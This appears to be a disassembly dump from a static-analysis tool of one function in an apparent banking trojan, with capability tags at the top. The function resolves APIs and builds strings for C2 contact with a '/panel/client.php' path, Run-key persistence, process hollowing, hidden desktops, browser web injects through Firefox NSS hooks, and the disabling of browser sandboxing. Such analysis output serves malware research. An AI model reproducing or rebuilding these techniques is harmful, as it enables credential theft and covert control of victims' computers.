Function at 0x40100b
Capabilities:
Allocate or change rwx memory
Compress data via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
push 9
push str.127.0.0.1
call fcn.00401000
and dword [0x41bc1c], 0
push 0x11
push str._panel_client.php
mov dword [0x41bc18], eax
call fcn.00401000
push 0xa
pop ebx
push ebx
push str.User32.dll
mov dword [0x41bc14], eax
call fcn.00401000
push 0xc
push str.Kernel32.dll
mov dword [0x41be18], eax
call fcn.00401000
push 0xe
pop esi
push esi
push str.KernelBase.dll
mov dword [0x41be1c], eax
call fcn.00401000
push ebx
push str.msvcrt.dll
mov dword [0x41be20], eax
call fcn.00401000
push 9
push str.ntdll.dll
mov dword [0x41be24], eax
call fcn.00401000
push 0xb
pop edi
push edi
push str.Shlwapi.dll
mov dword [0x41be28], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41be2c], eax
push edi
push str.Shell32.dll
call fcn.00401000
push edi
push str.Secur32.dll
mov dword [0x41be30], eax
call fcn.00401000
push 0xc
push str.Advapi32.dll
mov dword [0x41be34], eax
call fcn.00401000
push ebx
push str.ws2_32.dll
mov dword [0x41be38], eax
call fcn.00401000
push edi
push str.version.dll
mov dword [0x41be3c], eax
call fcn.00401000
push 9
push str.Psapi.dll
mov dword [0x41be40], eax
call fcn.00401000
push edi
push str.wininet.dll
mov dword [0x41be44], eax
call fcn.00401000
push 9
push str.gdi32.dll
mov dword [0x41be48], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41be4c], eax
push edi
push str.MessageBoxA
call fcn.00401000
mov dword [0x41be64], eax
push 0x14
push str.GetWindowsDirectoryA
call fcn.00401000
push 0x13
push 0x4132e8
mov dword [0x41be68], eax
call fcn.00401000
push ebx
push str.LocalAlloc
mov dword [0x41be60], eax
call fcn.00401000
push 9
push str.wsprintfA
mov dword [0x41be6c], eax
call fcn.00401000
push 0x13
push 0x413314
mov dword [0x41be70], eax
call fcn.00401000
push 4
push str.free
mov dword [0x41be74], eax
call fcn.00401000
push esi
push str.VirtualAllocEx
mov dword [0x41be7c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41be80], eax
push 0x12
pop edi
push edi
push str.WriteProcessMemory
call fcn.00401000
push edi
push str.CreateRemoteThread
mov dword [0x41be84], eax
call fcn.00401000
push 0xc
push 0x413370
mov dword [0x41be88], eax
call fcn.00401000
push esi
push 0x413380
mov dword [0x41be8c], eax
call fcn.00401000
push 0x13
push str.PathRemoveFileSpecA
mov dword [0x41be90], eax
call fcn.00401000
push edi
push str.GetModuleFileNameA
mov dword [0x41be94], eax
call fcn.00401000
push 0x11
push str.PathFindFileNameA
mov dword [0x41be98], eax
call fcn.00401000
push 7
pop ebx
push ebx
push str.strncmp
mov dword [0x41be9c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41bea0], eax
push 9
push str._strnicmp
call fcn.00401000
push 8
push str.lstrlenA
mov dword [0x41bea4], eax
call fcn.00401000
push 0xb
push 0x4133ec
mov dword [0x41bea8], eax
call fcn.00401000
push 0x10
push str.SHGetFolderPathA
mov dword [0x41beac], eax
call fcn.00401000
mov dword [0x41beb0], eax
push 8
push str.lstrcpyA
call fcn.00401000
push 8
push 0x413418
mov dword [0x41beb4], eax
call fcn.00401000
push 9
push str.CopyFileA
mov dword [0x41beb8], eax
call fcn.00401000
push 0x15
push str.GetVolumeInformationA
mov dword [0x41bebc], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41bec0], eax
push esi
push str.GetUserNameExA
call fcn.00401000
push edi
push str.LookupAccountNameA
mov dword [0x41bec4], eax
call fcn.00401000
push 0x16
push str.ConvertSidToStringSidA
mov dword [0x41bec8], eax
call fcn.00401000
push 9
push str.LocalFree
mov dword [0x41becc], eax
call fcn.00401000
push 6
push str.malloc
mov dword [0x41bed0], eax
call fcn.00401000
push 9
push str.lstrcmpiA
mov dword [0x41be78], eax
call fcn.00401000
push 8
push str.lstrcmpA
mov dword [0x41bed8], eax
call fcn.00401000
push ebx
push str.StrStrA
mov dword [0x41bedc], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41bee0], eax
push 8
push str.StrStrIA
call fcn.00401000
push 6
push str.strtol
mov dword [0x41bee4], eax
call fcn.00401000
push ebx
push str.realloc
mov dword [0x41bee8], eax
call fcn.00401000
push 0xa
push str.WSAStartup
mov dword [0x41beec], eax
call fcn.00401000
push 6
push str.socket
mov dword [0x41bef0], eax
call fcn.00401000
push 0xd
push str.gethostbyname
mov dword [0x41bef4], eax
call fcn.00401000
push 5
push str.htons
mov dword [0x41bef8], eax
call fcn.00401000
push ebx
push str.connect
mov dword [0x41befc], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41bf00], eax
push 4
push str.send
call fcn.00401000
push 4
push str.recv
mov dword [0x41bf04], eax
call fcn.00401000
push 0xb
push str.closesocket
mov dword [0x41bf08], eax
call fcn.00401000
push 0xa
push str.WSACleanup
mov dword [0x41bf0c], eax
call fcn.00401000
push 6
push str.memset
mov dword [0x41bf10], eax
call fcn.00401000
push 6
push str.memcpy
mov dword [0x41bf14], eax
call fcn.00401000
push 5
push 0x413538
mov dword [0x41bed4], eax
call fcn.00401000
push 9
push str.NtOpenKey
mov dword [0x41bf18], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41bf1c], eax
push 0xd
push str.NtSetValueKey
call fcn.00401000
push 0xb
push 0x41355c
mov dword [0x41bf24], eax
call fcn.00401000
push esi
push str.CreateProcessA
mov dword [0x41bf20], eax
call fcn.00401000
push 0x10
push str.NtCreateThreadEx
mov dword [0x41bf28], eax
call fcn.00401000
push 0x10
push 0x41358c
mov dword [0x41bff4], eax
call fcn.00401000
push 0xb
push str.FindWindowA
mov dword [0x41bff8], eax
call fcn.00401000
push 0x14
push str.NtUnmapViewOfSection
mov dword [0x41bffc], eax
call fcn.00401000
push 0x19
push str.NtQueryInformationProcess
mov dword [0x41c0bc], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41c0c0], eax
push 0x10
push str.GetThreadContext
call fcn.00401000
push 0x10
push str.SetThreadContext
mov dword [0x41c0c4], eax
call fcn.00401000
push 0x10
push str.SHFileOperationA
mov dword [0x41c0c8], eax
call fcn.00401000
mov dword [0x41c0cc], eax
push esi
push str.FindFirstFileA
call fcn.00401000
push 0xd
push str.FindNextFileA
mov dword [0x41c0d0], eax
call fcn.00401000
push 0x18
push str.GetWindowThreadProcessId
mov dword [0x41c0d4], eax
call fcn.00401000
push 0x19
push str.InitializeCriticalSection
mov dword [0x41c000], eax
call fcn.00401000
push 0xc
push 0x413674
mov dword [0x41bf34], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41bf38], eax
push 0x14
push 0x413684
call fcn.00401000
push 0x14
push 0x41369c
mov dword [0x41bf2c], eax
call fcn.00401000
push 6
push str._errno
mov dword [0x41bf30], eax
call fcn.00401000
push ebx
push str.tolower
mov dword [0x41bf3c], eax
call fcn.00401000
push ebx
push str.isdigit
mov dword [0x41bf40], eax
call fcn.00401000
push ebx
push str.strtoul
mov dword [0x41bf44], eax
call fcn.00401000
push 8
push str.isxdigit
mov dword [0x41bf48], eax
call fcn.00401000
push 6
push str.strtod
mov dword [0x41bf4c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41bf50], eax
push 0x18
push 0x4136e8
call fcn.00401000
push esi
push 0x413704
mov dword [0x41bf54], eax
call fcn.00401000
push 0xd
push 0x413714
mov dword [0x41bf58], eax
call fcn.00401000
push ebx
push str.StrChrA
mov dword [0x41bf5c], eax
call fcn.00401000
push 9
push str.StrToIntA
mov dword [0x41bf60], eax
call fcn.00401000
push 0x10
push str.GetModuleHandleA
mov dword [0x41bf64], eax
call fcn.00401000
push 0x17
push str.GetFileVersionInfoSizeA
mov dword [0x41bf68], eax
call fcn.00401000
mov dword [0x41bf6c], eax
push 0x13
pop ebx
push ebx
push str.GetFileVersionInfoA
call fcn.00401000
add esp, 0x40
mov dword [0x41bf70], eax
push esi
push str.VerQueryValueA
call fcn.00401000
push 0x14
push str.GetModuleInformation
mov dword [0x41bf74], eax
call fcn.00401000
push 6
push str.memcmp
mov dword [0x41bf78], eax
call fcn.00401000
push 0x19
push str.ExpandEnvironmentStringsA
mov dword [0x41bf7c], eax
call fcn.00401000
push 0x1e
push str.GetPrivateProfileSectionNamesA
mov dword [0x41bf80], eax
call fcn.00401000
push 0x18
push str.GetPrivateProfileStringA
mov dword [0x41bf84], eax
call fcn.00401000
push 0xb
push 0x413800
mov dword [0x41bf88], eax
call fcn.00401000
push 8
push 0x41380c
mov dword [0x41bf8c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41bf90], eax
push 9
push 0x413818
call fcn.00401000
push esi
push str.RegSetValueExA
mov dword [0x41bf94], eax
call fcn.00401000
push 0xd
push str.RegOpenKeyExA
mov dword [0x41bf98], eax
call fcn.00401000
push 0xb
push str.RegCloseKey
mov dword [0x41bf9c], eax
call fcn.00401000
push 0xb
push 0x413850
mov dword [0x41bfa0], eax
call fcn.00401000
push 0xc
push str.ResumeThread
mov dword [0x41bfa4], eax
call fcn.00401000
push esi
push str.IsWow64Process
mov dword [0x41bfa8], eax
call fcn.00401000
push ebx
push str.GetNativeSystemInfo
mov dword [0x41bfac], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41bfb0], eax
push 0xb
push 0x413890
call fcn.00401000
push 0xc
push str.CreateThread
mov dword [0x41bfb4], eax
call fcn.00401000
mov dword [0x41bfb8], eax
push 0xc
push str.GetUserNameW
call fcn.00401000
push 0x10
push str.GetComputerNameW
mov dword [0x41bfbc], eax
call fcn.00401000
push 0xd
push str.GetVersionExA
mov dword [0x41bfc0], eax
call fcn.00401000
push 0x10
push str.CreateNamedPipeA
mov dword [0x41bfc4], eax
call fcn.00401000
push 0x10
push str.ConnectNamedPipe
mov dword [0x41bfc8], eax
call fcn.00401000
push ebx
push str.DisconnectNamedPipe
mov dword [0x41bfcc], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41bfd0], eax
push 0x11
push str.InternetCrackUrlA
call fcn.00401000
push 0xc
push str.GetTempPathA
mov dword [0x41bfd4], eax
call fcn.00401000
push 0x10
push str.GetTempFileNameA
mov dword [0x41bfd8], eax
call fcn.00401000
push 0xd
push str.ShellExecuteA
mov dword [0x41bfdc], eax
call fcn.00401000
push 0xb
push str.ioctlsocket
mov dword [0x41bfe0], eax
call fcn.00401000
push 5
push str.ntohs
mov dword [0x41bfe4], eax
call fcn.00401000
push 0xc
push str.CreateMutexA
mov dword [0x41bfe8], eax
call fcn.00401000
push 0xc
push str.ReleaseMutex
mov dword [0x41bfec], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41bff0], eax
push ebx
push 0x413998
call fcn.00401000
push 0xb
push str.EnumWindows
mov dword [0x41c004], eax
call fcn.00401000
push ebx
push 0x4139b8
mov dword [0x41c008], eax
call fcn.00401000
push 0xb
push str.DeleteFileA
mov dword [0x41c00c], eax
call fcn.00401000
push 0xf
pop ebx
push ebx
push str.PathFileExistsA
mov dword [0x41c010], eax
call fcn.00401000
mov dword [0x41c014], eax
push 0x10
push str.CreateDirectoryA
call fcn.00401000
push esi
push str.HttpQueryInfoA
mov dword [0x41c018], eax
call fcn.00401000
push esi
push str.HttpQueryInfoW
mov dword [0x41c01c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41c020], eax
push 0x11
push str.RtlCompressBuffer
call fcn.00401000
push 0x1e
push str.RtlGetCompressionWorkSpaceSize
mov dword [0x41c024], eax
call fcn.00401000
push 0x10
push str.SetThreadDesktop
mov dword [0x41c028], eax
call fcn.00401000
push esi
push str.CreateDesktopA
mov dword [0x41c02c], eax
call fcn.00401000
push 0xc
push str.OpenDesktopA
mov dword [0x41c030], eax
call fcn.00401000
push ebx
push str.TerminateThread
mov dword [0x41c034], eax
call fcn.00401000
push 0xc
push str.PostMessageA
mov dword [0x41c038], eax
call fcn.00401000
push 0xc
push str.SendMessageA
mov dword [0x41c03c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41c040], eax
push 0x14
push str.ChildWindowFromPoint
call fcn.00401000
push esi
push str.ScreenToClient
mov dword [0x41c044], eax
call fcn.00401000
push 0xa
push str.MoveWindow
mov dword [0x41c048], eax
call fcn.00401000
push 0xd
push str.GetWindowRect
mov dword [0x41c04c], eax
call fcn.00401000
push 0xd
push str.GetMenuItemID
mov dword [0x41c050], eax
call fcn.00401000
push 0x11
push str.MenuItemFromPoint
mov dword [0x41c054], eax
call fcn.00401000
push 0x13
push str.RealGetWindowClassA
mov dword [0x41c058], eax
call fcn.00401000
push 8
push str.PtInRect
mov dword [0x41c05c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41c060], eax
push edi
push str.GetWindowPlacement
call fcn.00401000
push esi
push str.SetWindowLongA
mov dword [0x41c064], eax
call fcn.00401000
push esi
push str.GetWindowLongA
mov dword [0x41c068], eax
call fcn.00401000
push ebx
push str.WindowFromPoint
mov dword [0x41c06c], eax
call fcn.00401000
push ebx
push str.SHAppBarMessage
mov dword [0x41c070], eax
call fcn.00401000
push 0x10
push str.RegQueryValueExA
mov dword [0x41c074], eax
call fcn.00401000
push 0x10
push str.GetDesktopWindow
mov dword [0x41c078], eax
call fcn.00401000
push 8
push str.DeleteDC
mov dword [0x41c07c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41c080], eax
push 9
push str.ReleaseDC
call fcn.00401000
push 0xc
push str.DeleteObject
mov dword [0x41c084], eax
call fcn.00401000
push 9
push str.GetDIBits
mov dword [0x41c088], eax
call fcn.00401000
push 0xa
push str.StretchBlt
mov dword [0x41c08c], eax
call fcn.00401000
push 0x11
push str.SetStretchBltMode
mov dword [0x41c090], eax
call fcn.00401000
push 0xc
push str.SelectObject
mov dword [0x41c094], eax
call fcn.00401000
push edi
push str.CreateCompatibleDC
mov dword [0x41c098], eax
call fcn.00401000
push 0x16
push str.CreateCompatibleBitmap
mov dword [0x41c09c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41c0a0], eax
push 5
push str.GetDC
call fcn.00401000
push ebx
push str.IsWindowVisible
mov dword [0x41c0a4], eax
call fcn.00401000
push 9
push str.GetWindow
mov dword [0x41c0a8], eax
call fcn.00401000
push 0xb
push str.PrintWindow
mov dword [0x41c0ac], eax
call fcn.00401000
push 0xc
mov dword [0x41c0b4], eax
push str.GetTopWindow
call fcn.00401000
push 0x11
push str.RtlInitAnsiString
mov dword [0x41c0b8], eax
call fcn.00401000
push 0x1c
push str.RtlAnsiStringToUnicodeString
mov dword [0x41c0d8], eax
call fcn.00401000
push 0xa
push str.LdrLoadDll
mov dword [0x41c0dc], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41c0e0], eax
push 0x16
push str.LdrGetProcedureAddress
call fcn.00401000
push 0x14
push str.RtlFreeUnicodeString
mov dword [0x41c0e4], eax
call fcn.00401000
push 0x13
push str.RtlCreateUserThread
mov dword [0x41c0e8], eax
call fcn.00401000
push 0xb
push str.Hello_World
mov dword [0x41c0ec], eax
call fcn.00401000
push 4
push str..exe
mov dword [0x41c0f0], eax
call fcn.00401000
push 1
push 0x413d20
mov dword [0x41c0f4], eax
call fcn.00401000
push 5
push 0x413d24
mov dword [0x41c0f8], eax
call fcn.00401000
push 4
push str.GET
mov dword [0x41c0fc], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41c100], eax
push 0xb
push str._HTTP_1.1_r_n
call fcn.00401000
push 6
push str.Host:
mov dword [0x41c104], eax
call fcn.00401000
push 0x40
push str._r_nPragma:_no_cache_r_nContent_type:_text_html_r_nConnection:_close_r_n
mov dword [0x41c108], eax
call fcn.00401000
push 0x10
push str.Content_Length:
mov dword [0x41c10c], eax
call fcn.00401000
push ebx
push str.HTTP_1.1_200_OK
mov dword [0x41c110], eax
call fcn.00401000
push 2
push 0x413db0
mov dword [0x41c114], eax
call fcn.00401000
push esi
push str.Content_Length
mov dword [0x41c118], eax
call fcn.00401000
mov ebx, eax
push 0x11
push str.Transfer_Encoding
mov dword [0x41c11c], ebx
call fcn.00401000
add esp, 0x40
push 7
pop esi
mov edi, eax
push esi
push str.chunked
mov dword [0x41c120], edi
call fcn.00401000
push 2
push 0x413de0
mov dword [0x41c124], eax
call fcn.00401000
push 2
push 0x413de4
mov dword [0x41c128], eax
call fcn.00401000
push 0x14
push str.RegistryUser_s_s
mov dword [0x41c12c], eax
call fcn.00401000
push 0x2d
push str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [0x41c130], eax
call fcn.00401000
push 0xb
push str.dllhost.exe
mov dword [0x41c134], eax
call fcn.00401000
push 4
push str.ping
mov dword [0x41c138], eax
call fcn.00401000
push 9
push str.binint32
mov dword [0x41c13c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41c140], eax
push 9
push str.binint64
call fcn.00401000
push 0xc
push str.explorer.exe
mov dword [0x41c144], eax
call fcn.00401000
push 0xb
push str.firefox.exe
mov dword [0x41c148], eax
call fcn.00401000
push 0xa
push str.chrome.exe
mov dword [0x41c14c], eax
call fcn.00401000
push 0xc
push str.iexplore.exe
mov dword [0x41c150], eax
call fcn.00401000
push 0x88
push str.powershell__noexit__command___console_::windowwidth__100__console_::windowheight__30___console_::bufferwidth___console_::windowwidth_
mov dword [0x41c15c], eax
call fcn.00401000
push 0xa
push str.msedge.exe
mov dword [0x41c160], eax
call fcn.00401000
push 9
push str.brave.exe
mov dword [0x41c154], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41c158], eax
push esi
push str.injects
call fcn.00401000
push esi
push str.Firefox
mov dword [0x41c164], eax
call fcn.00401000
push 6
push str.Chrome
mov dword [0x41c16c], eax
call fcn.00401000
push 0x11
push str.Internet_Explorer
mov dword [0x41c168], eax
call fcn.00401000
push 0xa
push str.chrome.dll
mov dword [0x41c170], eax
call fcn.00401000
push 6
push str.BitBlt
mov dword [0x41c174], eax
call fcn.00401000
push 8
push str.nss3.dll
mov dword [0x41c0b0], eax
call fcn.00401000
push 9
push str.nspr4.dll
mov dword [0x41c178], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41c17c], eax
push esi
push str.PR_Read
call fcn.00401000
push 8
push str.PR_Write
mov dword [0x41c180], eax
call fcn.00401000
push 6
push 0x413fa8
mov dword [0x41c184], eax
call fcn.00401000
push 0x12
push str._r_nContent_Length:
mov dword [0x41c188], eax
call fcn.00401000
mov esi, eax
push 0xf
push str.Accept_Encoding
mov dword [0x41c18c], esi
call fcn.00401000
push 8
push str.identity
mov dword [0x41c190], eax
call fcn.00401000
push 0xa
push str.Connection
mov dword [0x41c194], eax
mov dword [0x41c198], ebx
mov dword [0x41c19c], edi
call fcn.00401000
push 5
push str.close
mov dword [0x41c1a0], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41c1a4], eax
push 0x10
pop ebx
push ebx
push str._r_nContent_Type:
call fcn.00401000
push 9
pop edi
push edi
push str.text_html
mov dword [0x41c1a8], eax
call fcn.00401000
push 0xc
push str._r_nLocation:
mov dword [0x41c1ac], eax
call fcn.00401000
push 0x17
push str.X_HeyThere:_5eYEp80n3hM
mov dword [0x41c1b0], eax
mov dword [0x41c1b4], esi
call fcn.00401000
push 4
mov dword [0x41c1b8], eax
pop esi
push esi
push str._r_n_r_n
call fcn.00401000
push edi
push str._r_n_s:__r_n
mov dword [0x41c1bc], eax
call fcn.00401000
mov dword [0x41c1c0], eax
mov eax, dword [0x41c118]
push 8
push str._r_nHost:
mov dword [0x41c1c4], eax
call fcn.00401000
push 0xa
push str.http_s_:__
mov dword [0x41c1c8], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41c1cc], eax
push 0xd
push str.log_s_s_d
call fcn.00401000
push esi
push str.POST
mov dword [0x41c1d0], eax
call fcn.00401000
push edi
push str.__DOCTYPE
mov dword [0x41c1d4], eax
call fcn.00401000
push 0x3d
push str._script_window.location.href__window.location.href___script_
mov dword [0x41c1d8], eax
call fcn.00401000
push 0x13
push str.InternetCloseHandle
mov dword [0x41c1dc], eax
call fcn.00401000
push 0x1a
push str.InternetQueryDataAvailable
mov dword [0x41c1e0], eax
call fcn.00401000
push ebx
push str.HttpOpenRequestW
mov dword [0x41c1e4], eax
call fcn.00401000
push ebx
push str.InternetConnectW
mov dword [0x41c1e8], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41c1ec], eax
push ebx
push str.HttpSendRequestW
call fcn.00401000
push ebx
push str.InternetReadFile
mov dword [0x41c1f0], eax
call fcn.00401000
push 0x13
push str.InternetReadFileExW
mov dword [0x41c1f4], eax
call fcn.00401000
push 0x11
push str.InternetWriteFile
mov dword [0x41c1f8], eax
call fcn.00401000
push edi
push str._appdata_
mov dword [0x41c1fc], eax
call fcn.00401000
push 0xf
push str._s_s_s_s.ini
mov dword [0x41c200], eax
call fcn.00401000
push 7
push str.Mozilla
mov dword [0x41c204], eax
call fcn.00401000
mov dword [0x41c208], eax
mov eax, dword [0x41c16c]
push 8
push str.Profiles
mov dword [0x41c20c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41c210], eax
push 7
push str.Profile
call fcn.00401000
push esi
push 0x4141ac
mov dword [0x41c214], eax
call fcn.00401000
push 0x14
push str._s_s_s_s_s_s.js
mov dword [0x41c218], eax
call fcn.00401000
push 5
push str.prefs
mov dword [0x41c21c], eax
call fcn.00401000
push 0x19
push str.network.http.spdy.enabled
mov dword [0x41c220], eax
call fcn.00401000
push 0x1d
push str.browser.tabs.remote.autostart
mov dword [0x41c224], eax
call fcn.00401000
push 0x15d
push str.user_pref__network.http.spdy.enabled.v3_1___false___r_nuser_pref__network.http.spdy.enabled.v3___false___r_nuser_pref__network.http.spdy.enabled___false___r_nuser_pref__browser.tabs.remote.autostart___false___r_nuser_pref__browser.tabs.remote.autostart.2___false___r_nuser_pref__gfx.direct2d.disabled___true___r_nuser_pref__layers.acceleration.disabled___true__
mov dword [0x41c228], eax
call fcn.00401000
push 0x29
push str.SoftwareMicrosoftInternet_ExplorerMain
mov dword [0x41c22c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41c230], eax
push 0xd
push str.TabProcGrowth
call fcn.00401000
push 0x43
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones3
mov dword [0x41c234], eax
call fcn.00401000
push esi
push str.2500
mov dword [0x41c238], eax
call fcn.00401000
push 0x2e
push str.___disable_http2___use_spdyoff___disable_quic
mov dword [0x41c23c], eax
call fcn.00401000
push 0x16
push str.CreateProcessInternalW
mov dword [0x41c240], eax
call fcn.00401000
push 0x15
push str.NoProtectedModeBanner
mov dword [0x41c244], eax
call fcn.00401000
push 6
push str.32768
mov dword [0x41c248], eax
call fcn.00401000
push 0x1d
push str._rundll32.exe_shell32.dll_61
mov dword [0x41c264], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41c268], eax
push 0x3b
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
call fcn.00401000
push ebx
push str.TaskbarGlomLevel
mov dword [0x41c26c], eax
call fcn.00401000
mov dword [0x41c270], eax
push 0xc
push str.profiles.ini
call fcn.00401000
push edi
push str._profile
mov dword [0x41c274], eax
call fcn.00401000
push 0xf
push str.GoogleChrome_
mov dword [0x41c278], eax
call fcn.00401000
push 0x11
push str.cmd.exe__c_start
mov dword [0x41c27c], eax
call fcn.00401000
push 0x65
push str.___no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_gpu___disable_d3d11___user_data_dir
mov dword [0x41c280], eax
call fcn.00401000
push 0xa
push str.User_Data_
mov dword [0x41c284], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41c288], eax
push 0x11
push str.MozillaFirefox_
call fcn.00401000
push 0xb
push str.IsRelative
mov dword [0x41c28c], eax
call fcn.00401000
push 5
push str.Path
mov dword [0x41c290], eax
call fcn.00401000
push 0x15
push str.__no_remote__profile
mov dword [0x41c294], eax
call fcn.00401000
push 0x1c
push str.info_d_d_d_d_s_s_d_d
mov dword [0x41c298], eax
call fcn.00401000
push 0xb
push str..pipe_s
mov dword [0x41c2a0], eax
call fcn.00401000
push esi
push str.open
mov dword [0x41c2a4], eax
call fcn.00401000
push 0x1e2
push str.As_we_walked_along_the_flatblock_marina__I_was_calm_on_the_outside__but_thinking_all_the_time._So_now_it_was_to_be_Georgie_the_general__saying_what_we_should_do_and_what_not_to_do__and_Dim_as_his_mindless_greeding_bulldog._But_suddenly_I_viddied_that_thinking_was_for_the_gloopy_ones_and_that_the_oomny_ones_use__like__inspiration_and_what_Bog_sends._For_now_it_was_lovely_music_that_came_to_my_aid._There_was_a_window_open_with_the_stereo_on_and_I_viddied_right_at_once_what_to_do.
mov dword [0x41c2a8], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41c2ac], eax
push 0xd
push str.Shell_TrayWnd
call fcn.00401000
push 0xc
push str.verclsid.exe
mov dword [0x41c2b0], eax
call fcn.00401000
push 2
push 0x414804
mov dword [0x41c2b4], eax
call fcn.00401000
push 2
push 0x414808
mov dword [0x41c2b8], eax
call fcn.00401000
push edi
push str.child.dll
mov dword [0x41c2bc], eax
call fcn.00401000
push ebx
push str.:Zone.Identifier
mov dword [0x41c2c0], eax
call fcn.00401000
mov dword [0x41c2c4], eax
push 8
push str.Trusteer
call fcn.00401000
add esp, 0x38
mov dword [0x41c2c8], eax
push dword [0x41be8c]
push dword [0x41be1c]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push dword [0x41be18]
mov dword [0x41b9c8], eax
call eax
push dword [0x41be1c]
mov dword [ebp - 0xc], eax
call dword [0x41b9c8]
push dword [0x41be24]
mov dword [ebp - 4], eax
call dword [0x41b9c8]
push dword [0x41be28]
mov dword [ebp - 0x1c], eax
call dword [0x41b9c8]
push dword [0x41be2c]
mov dword [ebp - 0x10], eax
call dword [0x41b9c8]
push dword [0x41be30]
mov dword [ebp - 8], eax
call dword [0x41b9c8]
push dword [0x41be34]
mov dword [ebp - 0x14], eax
call dword [0x41b9c8]
push dword [0x41be38]
mov edi, eax
call dword [0x41b9c8]
push dword [0x41be3c]
mov dword [ebp - 0x18], eax
call dword [0x41b9c8]
push dword [0x41be40]
mov dword [ebp - 0x20], eax
call dword [0x41b9c8]
push dword [0x41be44]
mov ebx, eax
call dword [0x41b9c8]
push dword [0x41be48]
mov dword [ebp - 0x24], eax
call dword [0x41b9c8]
push dword [0x41be4c]
mov dword [ebp - 0x28], eax
call dword [0x41b9c8]
push dword [0x41be90]
mov dword [ebp - 0x2c], eax
push dword [ebp - 4]
call esi
push dword [0x41be64]
mov esi, dword [ebp - 0xc]
push esi
mov dword [0x41b9cc], eax
call eax
push dword [0x41be68]
mov dword [0x41b99c], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41be60]
mov dword [0x41b9a0], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41be6c]
mov dword [0x41b9a4], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41be70]
mov dword [0x41b9a8], eax
push esi
call dword [0x41b9cc]
push dword [0x41be74]
mov dword [0x41b9ac], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41be78]
mov dword [0x41b9b0], eax
mov esi, dword [ebp - 0x1c]
push esi
call dword [0x41b9cc]
push dword [0x41be7c]
mov dword [0x41b9b4], eax
push esi
call dword [0x41b9cc]
push dword [0x41be80]
mov dword [0x41b9b8], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41be84]
mov dword [0x41b9bc], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41be88]
mov dword [0x41b9c0], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41be94]
mov dword [0x41b9c4], eax
push dword [ebp - 8]
call dword [0x41b9cc]
push dword [0x41be98]
mov dword [0x41b9d0], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41be9c]
mov dword [0x41b9d4], eax
push dword [ebp - 8]
call dword [0x41b9cc]
push dword [0x41bea0]
mov dword [0x41b9d8], eax
push esi
call dword [0x41b9cc]
push dword [0x41bea4]
mov dword [0x41b9dc], eax
push esi
call dword [0x41b9cc]
push dword [0x41bea8]
mov dword [0x41b9e0], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41beac]
mov dword [0x41b9e4], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41beb0]
mov dword [0x41b9e8], eax
push dword [ebp - 0x14]
call dword [0x41b9cc]
push dword [0x41beb4]
mov dword [0x41b9ec], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41beb8]
mov dword [0x41b9f0], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41bebc]
mov dword [0x41b9f4], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41bec0]
mov dword [0x41b9f8], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41bec4]
mov dword [0x41b9fc], eax
push edi
call dword [0x41b9cc]
push dword [0x41bec8]
mov edi, dword [ebp - 0x18]
push edi
mov dword [0x41ba00], eax
call dword [0x41b9cc]
push dword [0x41becc]
mov dword [0x41ba04], eax
push edi
call dword [0x41b9cc]
mov dword [0x41ba08], eax
push dword [0x41bed0]
mov edi, dword [ebp - 4]
push edi
call dword [0x41b9cc]
push dword [0x41bed4]
mov dword [0x41ba0c], eax
push esi
call dword [0x41b9cc]
push dword [0x41bedc]
mov dword [0x41ba10], eax
push edi
call dword [0x41b9cc]
push dword [0x41bed8]
mov dword [0x41ba18], eax
push edi
call dword [0x41b9cc]
push dword [0x41bee0]
mov edi, dword [ebp - 8]
push edi
mov dword [0x41ba14], eax
call dword [0x41b9cc]
